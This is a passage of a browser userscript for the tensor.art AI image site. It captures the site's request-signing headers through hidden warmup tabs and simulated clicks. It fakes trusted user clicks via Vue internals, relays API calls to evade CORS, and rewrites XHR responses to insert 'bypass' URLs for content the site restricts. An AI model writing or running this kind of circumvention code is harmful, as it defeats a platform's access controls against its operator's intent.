ensureTensorSigningHeaders(TARGET_PATH).then(function(warmResult) {
const fresh2 = tensorSigningHeadersByPath[TARGET_PATH];
const ok2 = fresh2 && (Date.now() - fresh2.ts) < TENSOR_SIGNING_HEADER_TTL;
if (!ok2) {
tensorInterceptLog('warning',
'GM relay: warmup tab finished but library-web signing headers still absent', {
warmResult, cached: Object.keys(tensorSigningHeadersByPath)
});
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId, ok: false, status: 0, statusText: 'Warmup incomplete',
error: 'Background warmup tab could not capture library-web signing headers. ' +
'Reason: ' + (warmResult.reason || 'unknown') + '. ' +
'Navigate to tensor.art/library manually and try again.'
}
}));
} catch { /* ignore */ }
return;
}
tensorInterceptLog('success',
'GM relay: warmup tab OK — retrying Func1 with fresh library-web signing headers', {
ageMs: Date.now() - fresh2.ts
});
doGMRequest(token, fresh2.headers);
});
}
});
} catch (e) {
tensorInterceptLog('error', 'Failed to install GM debug request relay', {
error: String(e?.message || e)
});
}
}
function installTensorConsoleDebugHelper() {
if (!IS_TENSOR_DOMAIN) return;
// Guard: only inject once. We track on the document (not pageWindow) so a
// failed early attempt can be retried when the DOM is finally ready.
if (document.__freeBypassDebugScriptInserted) return;
const target = document.head || document.documentElement;
if (!target) {
// DOM not ready yet — defer.
try {
document.addEventListener('DOMContentLoaded', function _tryDebugInstall() {
document.removeEventListener('DOMContentLoaded', _tryDebugInstall);
installTensorConsoleDebugHelper();
});
} catch {}
return;
}
document.__freeBypassDebugScriptInserted = true;
// Serialise the configured request-sign headers at injection time so the
// page-context script can include them without touching userscript state.
const configuredHeaders = {};
try {
Object.entries(settings.headers || {}).forEach(([k, v]) => {
const name = String(k || '').trim();
const val = String(v ?? '').trim();
if (name && val) configuredHeaders[name] = val;
});
} catch {}
// -----------------------------------------------------------------------
// This <script> tag code runs in the PAGE's true JS realm so that
// window.debug / window.freeInternetDebug are available in DevTools.
// However, instead of calling fetch() (which still hits CORS preflights
// that api.tensor.art rejects), the page script fires a CustomEvent
// "_freeInternetDebug" that the USERSCRIPT relay above catches and
// fulfils via GM.xmlHttpRequest — which is completely CORS-immune.
// -----------------------------------------------------------------------
const inner = `(function(){
if(window.__freeBypassDebugInstalled)return;
window.__freeBypassDebugInstalled=true;
var _pending={};
// Auto-warmup: silently SPA-navigate to /library to trigger the site's own
// signed library-web fetch, which populates the userscript's header cache.
// The Vue router push() does NOT reload the page; it's a client-side route change.
window.addEventListener('_freeInternetDebugWarmup',async function(){
var badge='background:#f59e0b;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
var done=function(ok,reason){
console.log('%cFREEInternet Tensor Debug%c warmup: '+reason,badge,'color:#fef3c7;font-weight:700;');
window.dispatchEvent(new CustomEvent('_freeInternetDebugWarmupDone',{detail:{ok:ok,reason:reason}}));
};
try{
var vueApp=document.getElementById('__nuxt')?.__vue_app__;
var router=vueApp&&vueApp.config&&vueApp.config.globalProperties&&vueApp.config.globalProperties.$router;
if(!router){done(false,'no Vue router found – navigate to tensor.art/library manually');return;}
var currentPath=router.currentRoute&&router.currentRoute.value&&router.currentRoute.value.fullPath;
if(currentPath&¤tPath.startsWith('/library')){
// Already on library page; the component should have already fired its API call
await new Promise(function(r){setTimeout(r,700);});
done(true,'already on /library');
return;
}
console.log('%cFREEInternet Tensor Debug%c auto-warmup: SPA navigating to /library to capture signing headers…',badge,'color:#fef3c7;font-weight:700;');
await router.push('/library');
// Wait for the library component to mount and fire its API call
await new Promise(function(r){setTimeout(r,2000);});
done(true,'navigated to /library and captured signing headers');
// Navigate back quietly
if(currentPath)setTimeout(function(){try{router.push(currentPath);}catch(e){}},100);
}catch(err){
done(false,'error: '+String(err&&err.message||err));
}
});
window.addEventListener('_freeInternetDebugResult',function(e){
var d=e&&e.detail&&typeof e.detail==='object'?e.detail:{};
var id=String(d.requestId||'');
if(!id||!_pending[id])return;
var cb=_pending[id];
delete _pending[id];
cb(d);
});
// _freeInternetDebugWarmCreate
// Click the real "Add to Library" button so the site fires a signed
// entry/create request, which our fetch interceptor captures.
// Flow:
// 1. Scan for iconpark-icon[icon-id="pluscircle"] (the add button)
// 2. If not found, click the Create/magic button to open the panel
// 3. Poll every 1 s (up to 10 s) for the button to appear
// 4. Force the hidden overlay visible and fire the full click sequence
window.addEventListener('_freeInternetDebugWarmCreate',async function(){
var badge='background:#f59e0b;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
var done=function(ok,reason){
console.log('%cFREEInternet Tensor Debug%c warmCreate: '+reason,badge,'color:#fef3c7;font-weight:700;');
window.dispatchEvent(new CustomEvent('_freeInternetDebugWarmCreateDone',{detail:{ok:ok,reason:reason}}));
};
// Find a "pluscircle / Add to library" icon whose parent is NOT cursor-not-allowed.
// Title check is used only when a title IS present — icons without a title attr are still accepted.
function findBtn(root){
root=root||document;
var searchLabel=root===document?'document':'modal';
var icons=Array.from(root.querySelectorAll('iconpark-icon[icon-id="pluscircle"]'));
console.log('%cFREEInternet Tensor WarmupTab%c findBtn — pluscircle in '+searchLabel+': '+icons.length,badge,'color:#fef3c7;font-weight:700;');
// Fallback: if none in modal, search whole document too
if(icons.length===0 && root!==document){
icons=Array.from(document.querySelectorAll('iconpark-icon[icon-id="pluscircle"]'));
console.log('%cFREEInternet Tensor WarmupTab%c findBtn — fallback whole-doc pluscircle: '+icons.length,badge,'color:#fef3c7;font-weight:700;');
}
for(var ic of icons){
var parent=ic.parentElement;
if(!parent)continue;
if(parent.classList.contains('cursor-not-allowed'))continue;
var t=(ic.getAttribute('title')||ic.getAttribute('tooltip')||'').toLowerCase();
if(t && !t.includes('library') && !t.includes('add'))continue;
return parent;
}
return null;
}
// Unhide the overlay container and fire a complete click sequence.
// Also attempts Vue 3 _vei direct handler call (bypasses isTrusted restrictions).
function clickBtn(btn){
// Walk up and make opacity-0 / display:none containers visible
var el=btn;
for(var i=0;i<8;i++){
el=el.parentElement;
if(!el||el===document.body)break;
var cn=el.className||'';
if(cn.includes('opacity-0')||cn.includes('lg:opacity-0')){
el.style.setProperty('opacity','1','important');
el.style.setProperty('pointer-events','auto','important');
}
}
btn.style.setProperty('opacity','1','important');
btn.style.setProperty('pointer-events','auto','important');
// ── Primary: call Vue 3 _vei invoker directly (trusted, no isTrusted issue) ───
var veiCalled=false;
try{
var node=btn;
for(var vi=0;vi<8;vi++){
if(!node)break;
if(node._vei){
var inv=node._vei.onClick||node._vei.click;
if(inv){
var fakeEv=new MouseEvent('click',{bubbles:true,cancelable:true,view:window});
if(typeof inv==='function'){inv(fakeEv);veiCalled=true;}
else if(inv&&typeof inv.value==='function'){inv.value(fakeEv);veiCalled=true;}
if(veiCalled){console.log('%cFREEInternet Tensor WarmupTab%c clickBtn: _vei handler called on',badge,'color:#a3e635;font-weight:700;',node);break;}
}
}
node=node.parentElement;
}
}catch(ve){console.warn('_vei call failed:',ve);}
// ── Secondary: bubble a real MouseEvent from a child text node / icon ────────
// Firing .click() on the exact element the Vue listener is on is most reliable
try{
var deepest=btn.querySelector('iconpark-icon,span,svg,div')||btn;
deepest.click();
}catch{}
// ── Tertiary: full synthetic pointer+mouse event storm ────────────────────────
var rect=btn.getBoundingClientRect();
var cx=rect.width>0?Math.round(rect.left+rect.width/2):60;
var cy=rect.height>0?Math.round(rect.top+rect.height/2):60;
var eo={bubbles:true,cancelable:true,clientX:cx,clientY:cy,screenX:cx,screenY:cy,view:window};
var eob={bubbles:false,cancelable:false,clientX:cx,clientY:cy,screenX:cx,screenY:cy,view:window};
console.log('%cFREEInternet Tensor WarmupTab%c clickBtn: synthetic events on',badge,'color:#fef3c7;font-weight:700;',btn,'(vei='+veiCalled+')');
try{btn.dispatchEvent(new PointerEvent('pointerover',eo));}catch{}
try{btn.dispatchEvent(new PointerEvent('pointerenter',eob));}catch{}
try{btn.dispatchEvent(new MouseEvent('mouseover',eo));}catch{}
try{btn.dispatchEvent(new MouseEvent('mouseenter',eob));}catch{}
try{btn.dispatchEvent(new PointerEvent('pointermove',eo));}catch{}
try{btn.dispatchEvent(new MouseEvent('mousemove',eo));}catch{}
try{btn.dispatchEvent(new PointerEvent('pointerdown',Object.assign({},eo,{button:0,buttons:1})));}catch{}
try{btn.dispatchEvent(new MouseEvent('mousedown',Object.assign({},eo,{button:0,buttons:1})));}catch{}
try{btn.dispatchEvent(new PointerEvent('pointerup',Object.assign({},eo,{button:0,buttons:0})));}catch{}
try{btn.dispatchEvent(new MouseEvent('mouseup',Object.assign({},eo,{button:0,buttons:0})));}catch{}
try{btn.dispatchEvent(new MouseEvent('click',Object.assign({},eo,{button:0,buttons:0})));}catch{}
try{btn.click();}catch{}
}
// Step 1: find and click the Create (magic) button to open the panel
var btn=null;
console.group('%c[FREEInternet WarmupTab] Create → Add-to-Library flow','background:#dc2626;color:#fff;padding:3px 10px;border-radius:4px;font-weight:900;');
console.log('Page URL:', location.href, '| readyState:', document.readyState);
// ── Approach A: Vue Router push to the create route ──────────────────────────
var routerPushed=false;
try{
var appEl=document.querySelector('[data-v-app]')||document.querySelector('#app')||document.querySelector('#__nuxt');
var vueApp=appEl&&appEl.__vue_app__;
var $router=vueApp&&vueApp.config&&vueApp.config.globalProperties&&vueApp.config.globalProperties.$router;
if($router){
// Try common create routes on tensor.art
var createRoutes=['/comfyui','/create','/image/create','/video/create'];
for(var ri=0;ri<createRoutes.length;ri++){
try{
$router.push(createRoutes[ri]);
routerPushed=true;
console.log('Vue Router push →',createRoutes[ri]);
break;
}catch(re){console.warn('router.push('+createRoutes[ri]+') failed:',re);}
}
} else {
console.log('Vue Router not found on [data-v-app]/__vue_app__');
}
}catch(routeErr){console.warn('Router approach error:',routeErr);}
// ── Approach B: DOM click on Create (magic) button ───────────────────────────
var createBtn=null;
try { createBtn=document.querySelector('div.cursor-pointer.flex-c-c:has(iconpark-icon[icon-id="magic"])'); } catch{}
if(!createBtn){
var magicIcons=Array.from(document.querySelectorAll('iconpark-icon[icon-id="magic"]'));
console.log('magic icons in DOM:', magicIcons.length, magicIcons);
for(var mi of magicIcons){
var p=mi;
for(var j=0;j<6;j++){
p=p.parentElement;
if(!p)break;
var cn2=p.className||'';
if(cn2.includes('cursor-pointer')&&cn2.includes('flex-c-c')){createBtn=p;break;}
}
if(createBtn)break;
}
if(!createBtn && magicIcons.length>0){
var p2=magicIcons[0];
for(var k=0;k<6;k++){
p2=p2.parentElement;
if(!p2)break;
if((p2.className||'').includes('cursor-pointer')){createBtn=p2;break;}
}
}
}
if(createBtn){
console.log('Create button found:', createBtn.className, createBtn);
// Log _vei presence so we can see if Vue listener is there
var veiNode=createBtn;
for(var vei2=0;vei2<6;vei2++){
if(!veiNode)break;
if(veiNode._vei){console.log('_vei found at depth '+vei2+':', Object.keys(veiNode._vei), veiNode);break;}
veiNode=veiNode.parentElement;
}
if(!routerPushed) clickBtn(createBtn);
// Also click inner text child (Vue listener may be on it)
try{
var innerCreate=createBtn.querySelector('div[class*="md:flex"]');
if(innerCreate){ console.log('also clicking inner child:', innerCreate); if(!routerPushed) clickBtn(innerCreate); }
}catch{}
// Re-fire clickBtn even if router pushed — belt-and-suspenders
if(routerPushed){ setTimeout(function(){ clickBtn(createBtn); },800); }
console.log('Create button fired (routerPushed='+routerPushed+') — polling for .n-modal…');
} else {
console.warn('Create button NOT FOUND. magic icons on page:', document.querySelectorAll('iconpark-icon[icon-id="magic"]').length, Array.from(document.querySelectorAll('iconpark-icon[icon-id="magic"]')));
}
// Step 2: poll every 500 ms (up to 8 s) for .n-modal to become visible (style.display !== 'none')
var modal=null;
for(var mp=0;mp<16;mp++){
await new Promise(function(r){setTimeout(r,500);});
var allModals=Array.from(document.querySelectorAll('.n-modal'));
var vis=allModals.filter(function(m){return m.style.display!=='none';});
console.log('modal poll '+(mp+1)+'/16 — .n-modal count='+allModals.length+' visible='+vis.length+(allModals[0]?' first.display="'+allModals[0].style.display+'"':''));
if(vis.length>0){modal=vis[0];break;}
}
if(modal){
console.log('Modal is VISIBLE:', modal.className);
console.log('pluscircle icons immediately inside modal:', modal.querySelectorAll('iconpark-icon[icon-id="pluscircle"]').length);
} else {
console.warn('Modal did NOT open after 8 s — will search whole page for pluscircle.');
}
// Step 3: poll every 1 s (up to 15 s) for Add-to-Library (pluscircle) inside modal, fallback whole page
var found=false;
for(var attempt=0;attempt<15;attempt++){
await new Promise(function(r){setTimeout(r,1000);});
btn=findBtn(modal||undefined);
if(btn){found=true;break;}
if(attempt%3===2){
var dbgR=modal||document;
console.log('iconpark ids in search root (attempt '+(attempt+1)+'):', Array.from(dbgR.querySelectorAll('iconpark-icon')).map(function(ic){return ic.getAttribute('icon-id');}));
}
}
console.groupEnd();
if(!found){
done(false,'No Add-to-Library (pluscircle) button found after 15 s. Modal opened: '+(modal?'YES':'NO')+'. Check that at least one generated task is visible in the Create panel.');
return;
}
clickBtn(btn);
await new Promise(function(r){setTimeout(r,700);});
done(true,'Add-to-Library button clicked'+(modal?' (inside modal)':' (on page)'));
});
function _runFunc1(){
return new Promise(function(resolve){
var id='td-'+Date.now()+'-'+Math.random().toString(36).slice(2,7);
var badge='background:#38bdf8;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(56,189,248,.45);';
var bodyStyle='color:#e0f2fe;font-weight:700;';
console.log(
'%cFREEInternet Tensor Debug%c ➜ POST /library-web/v1/entry/list (via GM relay – CORS-free)',
badge,bodyStyle,{requestId:id,payload:{cursor:'0',limit:20,filter:{}}}
);
_pending[id]=function(d){
var res={action:'Func1',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id,payload:{cursor:'0',limit:20,filter:{}},response:d.response,error:d.error||undefined};
var pb=d.ok
?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(34,197,94,.45);'
:'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(239,68,68,.45);';
var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
console[d.ok?'log':'error'](
'%cFREEInternet Tensor Debug%c Func1 '+d.status+' '+(d.statusText||''),pb,pt,res
);
resolve(res);
};
window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func1',requestId:id}}));
});
}
function _runFunc2(generationImageId){
generationImageId=String(generationImageId||'').trim();
if(!generationImageId){
console.error('%cFREEInternet Tensor Debug%c Func2 requires a generationImageId. Usage: debug("Func2","<imageId>")','background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;','color:#fee2e2;font-weight:700;');
return Promise.resolve(null);
}
return new Promise(function(resolve){
var id='td-'+Date.now()+'-'+Math.random().toString(36).slice(2,7);
var badge='background:#a78bfa;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(167,139,250,.45);';
var bodyStyle='color:#ede9fe;font-weight:700;';
var payload={generationImageId:generationImageId};
console.log(
'%cFREEInternet Tensor Debug%c ➜ POST /library-web/v1/entry/create (via GM relay – CORS-free)',
badge,bodyStyle,{requestId:id,payload:payload}
);
_pending[id]=function(d){
var res={action:'Func2',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id,payload:payload,response:d.response,error:d.error||undefined};
var pb=d.ok
?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(34,197,94,.45);'
:'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(239,68,68,.45);';
var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
console[d.ok?'log':'error'](
'%cFREEInternet Tensor Debug%c Func2 '+d.status+' '+(d.statusText||''),pb,pt,res
);
resolve(res);
};
window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func2',requestId:id,generationImageId:generationImageId}}));
});
}
function _runFunc3(generationImageId){
var idArg=String(generationImageId||'').trim();
if(!idArg){
console.error('%cFREEInternet Tensor Debug%c Func3 requires a generationImageId or "warmup". Usage: debug("Func3","<id>") or debug("Func3","warmup")','background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;','color:#fee2e2;font-weight:700;');
return Promise.resolve(null);
}
return new Promise(function(resolve){
var id='td-'+Date.now()+'-'+Math.random().toString(36).slice(2,7);
var badge='background:#fb923c;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(251,146,60,.45);';
var bodyStyle='color:#ffedd5;font-weight:700;';
var label=idArg==='warmup'?'DELETE warmup IDs':'DELETE id='+idArg;
console.log('%cFREEInternet Tensor Debug%c ➜ '+label+' (via GM relay – CORS-free)',badge,bodyStyle,{requestId:id});
_pending[id]=function(d){
var res={action:'Func3',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id,response:d.response,error:d.error||undefined};
var pb=d.ok
?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(34,197,94,.45);'
:'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(239,68,68,.45);';
var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
console[d.ok?'log':'error']('%cFREEInternet Tensor Debug%c Func3 '+d.status+' '+(d.statusText||''),pb,pt,res);
resolve(res);
};
window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func3',requestId:id,generationImageId:idArg}}));
});
}
var runner=function(a,arg1){
a=String(a||'Func1').trim()||'Func1';
if(a==='Func1'){
var id='td-'+Date.now();
_runFunc1()
.then(function(r){console.log('[FREEInternet][TensorDebug:'+id+']',r);})
.catch(function(e){console.error('[FREEInternet][TensorDebug:'+id+'] FAILED',e);});
return{started:true,requestId:id,action:'Func1',mode:'gm-relay',note:'Async \u2013 CORS-free via GM.xmlHttpRequest relay'};
}
if(a==='Func2'){
var id2='td-'+Date.now();
_runFunc2(arg1)
.then(function(r){if(r)console.log('[FREEInternet][TensorDebug:'+id2+']',r);})
.catch(function(e){console.error('[FREEInternet][TensorDebug:'+id2+'] FAILED',e);});
return{started:true,requestId:id2,action:'Func2',payload:{generationImageId:String(arg1||'')},mode:'gm-relay',note:'Async \u2013 CORS-free via GM.xmlHttpRequest relay'};
}
if(a==='Func2warm'){
var id3='td-'+Date.now();
return new Promise(function(resolve){
var badge='background:#f59e0b;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
console.log('%cFREEInternet Tensor Debug%c ➜ Func2warm: warming entry/create signing header cache…',badge,'color:#fef3c7;font-weight:700;');
_pending[id3]=function(d){
var res={action:'Func2warm',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id3,response:d.response,error:d.error||undefined};
var pb=d.ok
?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;'
:'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
console[d.ok?'log':'error']('%cFREEInternet Tensor Debug%c Func2warm '+(d.ok?'✅ cache ready':'❌ failed'),pb,pt,res);
resolve(res);
};
window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func2warm',requestId:id3}}));
}).then(function(r){console.log('[FREEInternet][TensorDebug:'+id3+']',r);return r;})
.catch(function(e){console.error('[FREEInternet][TensorDebug:'+id3+'] FAILED',e);});
}
console.error('[FREEInternet] Unknown debug action: "'+a+'". Supported: Func1, Func2, Func2warm, Func3');
return null;
};
runner.async=function(a,arg1){
a=String(a||'Func1').trim()||'Func1';
if(a==='Func2')return _runFunc2(arg1);
if(a==='Func2warm')return runner('Func2warm');
if(a==='Func3')return _runFunc3(arg1);
return _runFunc1();
};
window.debug=runner;
window.freeInternetDebug=runner;
window.freeInternetDebugAsync=runner.async;
// Expose the warmup-created IDs list for inspection/cleanup
// The GM relay pushes into this same array via targetWindow.tensorWarmupCreatedIds.
window.tensorWarmupCreatedIds=window.tensorWarmupCreatedIds||[];
console.log(
'%cFREEInternet Tensor Debug%c ready \xb7 debug("Func1") | debug("Func2","<id>") | debug("Func2warm") | debug("Func3","<id>|warmup")',
'background:#38bdf8;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(56,189,248,.45);',
'color:#e0f2fe;font-weight:700;'
);
})();`;
try {
const s = document.createElement('script');
s.textContent = inner;
target.appendChild(s);
try { s.remove(); } catch {}
tensorInterceptLog('success', 'Installed Tensor console debug helper via page-context <script> injection', {
commands: ['debug("Func1")', 'freeInternetDebug("Func1")', 'await freeInternetDebugAsync()'],
method: 'script-tag-injection',
note: 'Requests originate in true page realm with correct Origin + Sec-Fetch-* headers'
});
} catch (err) {
document.__freeBypassDebugScriptInserted = false; // allow retry
tensorInterceptLog('error', 'Failed to inject Tensor console debug helper', {
error: String(err?.message || err)
});
}
}
function parseTensorXhrResponseBody(xhr) {
if (!xhr) return null;
if (xhr.responseType === 'json' && xhr.response && typeof xhr.response === 'object') {
return xhr.response;
}
const raw = typeof xhr.responseText === 'string'
? xhr.responseText
: (typeof xhr.response === 'string' ? xhr.response : '');
if (!raw) return null;
return JSON.parse(raw);
}
function readNativeTensorXhrResponseBody(xhr, nativeReaders = {}) {
if (!xhr) return null;
const responseType = String(xhr.responseType || '').toLowerCase();
const getResponse = typeof nativeReaders.getResponse === 'function' ? nativeReaders.getResponse : null;
const getResponseText = typeof nativeReaders.getResponseText === 'function' ? nativeReaders.getResponseText : null;
if (responseType === 'json') {
const nativeJson = getResponse ? getResponse.call(xhr) : xhr.response;
if (nativeJson && typeof nativeJson === 'object') return nativeJson;
}
const raw = getResponseText
? getResponseText.call(xhr)
: (getResponse ? getResponse.call(xhr) : (typeof xhr.responseText === 'string' ? xhr.responseText : (typeof xhr.response === 'string' ? xhr.response : '')));
if (!raw || typeof raw !== 'string') return null;
return JSON.parse(raw);
}
function getPatchedTensorXhrSnapshot(xhr, fetchUrl, nativeReaders = {}, phase = 'xhr-getter') {
const isMgetTask = isMgetTaskEndpoint(fetchUrl);
const isPatchable = isTensorPatchableTasksEndpoint(fetchUrl) || isMgetTask;
if (!xhr || !settings.xhrInterceptEnabled || !isPatchable) return null;
if (xhr.readyState !== 4 || xhr.status < 200 || xhr.status >= 300) return null;
const getResponseText = typeof nativeReaders.getResponseText === 'function' ? nativeReaders.getResponseText : null;
const rawText = getResponseText
? (() => {
try {
return getResponseText.call(xhr);
} catch {
return null;
}
})()
: null;
const cached = xhr.__freeBypassTensorPatchedSnapshot;
if (cached && (rawText == null || cached.rawText === rawText)) {
return cached;
}
try {
const body = readNativeTensorXhrResponseBody(xhr, nativeReaders);
const syncPatchFn = isMgetTask ? patchMgetTaskResponseBody : patchTensorTasksQueryResponseBody;
const patched = syncPatchFn(body);
const snapshot = {
changed: !!patched.changed,
stats: patched.stats || null,
body: patched.changed ? patched.body : body,
serialized: patched.changed ? JSON.stringify(patched.body) : (typeof rawText === 'string' ? rawText : null),
rawText: typeof rawText === 'string' ? rawText : null
};
xhr.__freeBypassTensorPatchedSnapshot = snapshot;
if (patched.changed && !xhr.__freeBypassTensorGetterLogged) {
xhr.__freeBypassTensorGetterLogged = true;
tensorInterceptLog('success', 'Patched Tensor XHR response via live getter override', {
source: 'page-xhr',
phase,
url: fetchUrl,
status: xhr.status,
stats: patched.stats || null
});
}
return snapshot;
} catch (error) {
tensorInterceptLog('error', 'Failed to compute Tensor XHR getter snapshot', {
source: 'page-xhr',
phase,
url: fetchUrl,
status: xhr?.status ?? null,
error: String(error?.message || error)
});
return null;
}
}
function applyPatchedTensorXhrBody(xhr, payload) {
const serialized = JSON.stringify(payload);
Object.defineProperties(xhr, {
response: {
value: xhr.responseType === 'json' ? payload : serialized,
writable: true,
configurable: true
},
responseText: {
value: serialized,
writable: true,
configurable: true
}
});
}
function maybePatchTensorXhrResponse(xhr, fetchUrl, phase = 'xhr') {
if (!xhr || xhr.__freeBypassTensorResponseHandled) return { changed: false, stats: null };
const isMgetTask = isMgetTaskEndpoint(fetchUrl);
const isPatchable = isTensorPatchableTasksEndpoint(fetchUrl) || isMgetTask;
if (!settings.xhrInterceptEnabled || !isPatchable) return { changed: false, stats: null };
if (xhr.readyState !== 4 || xhr.status < 200 || xhr.status >= 300) return { changed: false, stats: null };
// Pick the correct sync patcher and async backfiller based on endpoint type
const syncPatchFn = isMgetTask ? patchMgetTaskResponseBody : patchTensorTasksQueryResponseBody;
const asyncBackfillFn = isMgetTask ? backfillMgetTaskResponseBody : backfillTensorTasksQueryResponseBody;
try {
const body = parseTensorXhrResponseBody(xhr);
const patched = syncPatchFn(body);
if (patched.changed) {
applyPatchedTensorXhrBody(xhr, patched.body);
tensorInterceptLog('success', `Patched ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response`, {
source: 'page-xhr',
phase,
url: fetchUrl,
status: xhr.status,
stats: patched.stats || null
});
} else {
tensorInterceptLog('info', `Observed ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response (no patch needed)`, {
source: 'page-xhr',
phase,
url: fetchUrl,
status: xhr.status,
stats: patched.stats || null
});
}
asyncBackfillFn(patched.changed ? patched.body : body, `page-xhr:${phase}`).then((backfilled) => {
if (!backfilled?.changed) return;
applyPatchedTensorXhrBody(xhr, backfilled.body);
xhr.__freeBypassTensorPatchedSnapshot = {
changed: true,
body: backfilled.body,
serialized: JSON.stringify(backfilled.body),
rawText: null,
stats: {
...(patched.stats || {}),
resolvedItems: Number(backfilled.stats?.resolvedItems) || 0,
resolvedTasks: Number(backfilled.stats?.resolvedTasks) || 0
}
};
tensorInterceptLog('success', `Updated ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response after async bypass URL resolution`, {
source: 'page-xhr',
phase,
url: fetchUrl,
status: xhr.status,
stats: backfilled.stats || null
});
}).catch((error) => {
tensorInterceptLog('error', `Failed async ${isMgetTask ? 'mget_task' : 'Tensor'} XHR URL backfill`, {
source: 'page-xhr',
phase,
url: fetchUrl,
status: xhr?.status ?? null,
error: String(error?.message || error)
});
});
xhr.__freeBypassTensorResponseHandled = true;
return patched;
} catch (error) {
xhr.__freeBypassTensorResponseHandled = true;
tensorInterceptLog('error', `Failed to patch ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response`, {
source: 'page-xhr',
phase,
url: fetchUrl,
status: xhr?.status ?? null,
error: String(error?.message || error)
});
return { changed: false, stats: null };
}
}
function enforceXhrInterceptModeState() {
if (settings.xhrInterceptEnabled) {
settings.injectOnDom = false;
settings.safeViewMode = false;
stopDomInjectionWatcher();
}
}
/**
* Auto-runs when this tab was opened for background warmup.
* Detects #freeinternet-tensor-warm-create / #freeinternet-tensor-warm-library in the URL,
* performs the appropriate warmup, then closes the tab.
* Relies on installTensorConsoleDebugHelper() having run first (registers page-script listeners).
*/
// ===== LIBRARY PAGE ENHANCER =====
async function processTensorObservedTemplateDetailResponse(url, response) {
if (!isTemplateDetailEndpoint(url)) return;
try {
let body = null;
if (response && typeof response.clone === 'function') {
try { body = await response.clone().json(); } catch { return; }
} else if (response && typeof response.readyState !== 'undefined' && response.readyState === 4) {
body = parseTensorXhrResponseBody(response);
}
if (!body) return;
const tpl = body?.data?.workflowTemplate;
if (!tpl?.id) return;
templateDetailCache.set(String(tpl.id), body);
// Also populate templateInfoCache for legacy uses
templateInfoCache.set(String(tpl.id), { workflowTemplateId: String(tpl.id), name: tpl.name || '' });
// Re-run inject in case button is waiting for this data
if (typeof injectCommunityShareButton === 'function') {
setTimeout(injectCommunityShareButton, 50);
}
} catch { /* ignore */ }
}
async function processTensorLibraryApiResponse(url, requestBody, response) {
if (!url || url.indexOf('api.tensor.art/library-web/v1/entry') === -1) return;
let data = null;
try {
if (response && typeof response.json === 'function' && typeof response.clone === 'function') {
data = await response.clone().json();
} else if (response && typeof response.readyState !== 'undefined' && response.readyState === 4) {
data = parseTensorXhrResponseBody(response);
}
if (!data || String(data.code) !== '0') return;
} catch { return; }
const epMatch = url.match(/\/entry\/([^/?#]+)/);
if (!epMatch) return;
const endpoint = epMatch[1];
if (endpoint === 'list') {
const results = (data.data && Array.isArray(data.data.results))
? data.data.results
: (Array.isArray(data.results) ? data.results : []);
let added = 0;
for (const entry of results) {
if (!entry || !entry.id) continue;
tensorLibraryEntryMap[entry.id] = entry;
if (entry.originalPath) tensorLibraryPathToEntryId[entry.originalPath] = entry.id;
added++;
}
tensorInterceptLog('info', 'Library: cached entry/list data', { added, total: Object.keys(tensorLibraryEntryMap).length });
if (typeof location !== 'undefined' && location.pathname.startsWith('/library')) {
setTimeout(flagWarmupCardsInLibrary, 150);
}
}
}
function flagWarmupCardsInLibrary() {
if (!IS_TENSOR_DOMAIN) return;
if (typeof location === 'undefined' || !location.pathname.startsWith('/library')) return;
if (!tensorWarmupCreatedIds.length) return;
const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
const doc = pw.document;
const grid = doc.querySelector('.flex-1.overflow-y-auto.overflow-x-hidden.pr-12.relative.rd-12');
if (!grid) return;
const cards = grid.querySelectorAll('div.rd-8.relative');
let flagged = 0;
for (const card of cards) {
if (card.getAttribute('data-fi-warmup')) continue;
let src = '';
const img = card.querySelector('img[src*="tensorartassets"]');
if (img) src = img.src || img.getAttribute('src') || '';
if (!src) {
const vidSrc = card.querySelector('video source[src*="tensorartassets"]');
if (vidSrc) src = vidSrc.src || vidSrc.getAttribute('src') || '';
}
if (!src) { const anyImg = card.querySelector('img'); if (anyImg) src = anyImg.src || ''; }
if (!src) continue;
// Extract "library/ownerId/year/.../filename.ext" which == originalPath in list data
const pathMatch = src.match(/(library\/\d+\/[^?#]+)/);
if (!pathMatch) continue;
const originalPath = pathMatch[1];
const entryId = tensorLibraryPathToEntryId[originalPath];
